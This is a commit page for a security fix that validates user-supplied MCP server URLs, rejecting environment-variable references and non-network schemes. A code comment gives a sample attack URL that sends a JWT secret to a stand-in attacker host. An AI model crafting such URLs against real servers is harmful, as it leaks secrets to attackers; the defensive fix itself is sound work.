🔏 fix: MCP Server URL Schema Validation (#12204)
Some checks are pending
Docker Dev Branch Images Build / build (Dockerfile, lc-dev, node) (push) Waiting to run
Docker Dev Branch Images Build / build (Dockerfile.multi, lc-dev-api, api-build) (push) Waiting to run

* fix: MCP server configuration validation and schema

- Added tests to reject URLs containing environment variable references for SSE, streamable-http, and websocket types in the MCP routes.
- Introduced a new schema in the data provider to ensure user input URLs do not resolve environment variables, enhancing security against potential leaks.
- Updated existing MCP server user input schema to utilize the new validation logic, ensuring consistent handling of user-supplied URLs across the application.

* fix: MCP URL validation to reject env variable references

- Updated tests to ensure that URLs for SSE, streamable-http, and websocket types containing environment variable patterns are rejected, improving security against potential leaks.
- Refactored the MCP server user input schema to enforce stricter validation rules, preventing the resolution of environment variables in user-supplied URLs.
- Introduced new test cases for various URL types to validate the rejection logic, ensuring consistent handling across the application.

* test: Enhance MCPServerUserInputSchema tests for environment variable handling

- Introduced new test cases to validate the prevention of environment variable exfiltration through user input URLs in the MCPServerUserInputSchema.
- Updated existing tests to confirm that URLs containing environment variable patterns are correctly resolved or rejected, improving security against potential leaks.
- Refactored test structure to better organize environment variable handling scenarios, ensuring comprehensive coverage of edge cases.
This commit is contained in:
Danny Avila 2026-03-12 23:19:31 -04:00 committed by GitHub
parent 65b0bfde1b
commit f32907cd36
No known key found for this signature in database
GPG key ID: B5690EEEBB952194
3 changed files with 269 additions and 3 deletions

View file

@ -223,6 +223,23 @@ const omitServerManagedFields = <T extends z.ZodObject<z.ZodRawShape>>(schema: T
oauth_headers: true,
});
const envVarPattern = /\$\{[^}]+\}/;
const isWsProtocol = (val: string): boolean => /^wss?:/i.test(val);
const isHttpProtocol = (val: string): boolean => /^https?:/i.test(val);
/**
* Builds a URL schema for user input that rejects ${VAR} env variable patterns
* and validates protocol constraints without resolving environment variables.
*/
const userUrlSchema = (protocolCheck: (val: string) => boolean, message: string) =>
z
.string()
.refine((val) => !envVarPattern.test(val), {
message: 'Environment variable references are not allowed in URLs',
})
.pipe(z.string().url())
.refine(protocolCheck, { message });
/**
* MCP Server configuration that comes from UI/API input only.
* Omits server-managed fields like startup, timeout, customUserVars, etc.
@ -232,11 +249,23 @@ const omitServerManagedFields = <T extends z.ZodObject<z.ZodRawShape>>(schema: T
* Stdio allows arbitrary command execution and should only be configured
* by administrators via the YAML config file (librechat.yaml).
* Only remote transports (SSE, HTTP, WebSocket) are allowed via the API.
*
* SECURITY: URL fields use userUrlSchema instead of the admin schemas'
* extractEnvVariable transform to prevent env variable exfiltration
* through user-controlled URLs (e.g. http://attacker.com/?k=${JWT_SECRET}).
* Protocol checks use positive allowlists (http(s) / ws(s)) to block
* file://, ftp://, javascript:, and other non-network schemes.
*/
export const MCPServerUserInputSchema = z.union([
omitServerManagedFields(WebSocketOptionsSchema),
omitServerManagedFields(SSEOptionsSchema),
omitServerManagedFields(StreamableHTTPOptionsSchema),
omitServerManagedFields(WebSocketOptionsSchema).extend({
url: userUrlSchema(isWsProtocol, 'WebSocket URL must use ws:// or wss://'),
}),
omitServerManagedFields(SSEOptionsSchema).extend({
url: userUrlSchema(isHttpProtocol, 'SSE URL must use http:// or https://'),
}),
omitServerManagedFields(StreamableHTTPOptionsSchema).extend({
url: userUrlSchema(isHttpProtocol, 'Streamable HTTP URL must use http:// or https://'),
}),
]);
export type MCPServerUserInput = z.infer<typeof MCPServerUserInputSchema>;